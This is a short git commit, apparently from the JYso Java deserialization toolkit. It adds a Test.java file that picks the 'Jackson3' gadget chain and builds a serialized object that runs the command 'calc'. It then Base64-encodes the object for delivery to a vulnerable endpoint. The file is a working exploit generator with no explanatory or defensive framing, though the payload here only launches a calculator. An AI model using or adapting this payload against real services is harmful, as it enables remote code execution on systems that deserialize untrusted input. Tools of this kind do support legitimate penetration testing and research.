feat: I helped YJ

This commit is contained in:
qi4L
2025-09-10 22:23:03 +08:00
parent 5667002721
commit 2431b0643e
6 changed files with 128 additions and 183 deletions
@@ -0,0 +1,28 @@
package com.example.demo.demos.web;
import com.qi4l.JYso.gadgets.ObjectPayload;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("calc");
secCig rootObj = new secCig();
rootObj.setMessage("qi4l");
rootObj.setSecObject(object);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(rootObj);
oos.close();
byte[] payloadBytes = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(base64Payload);
}
}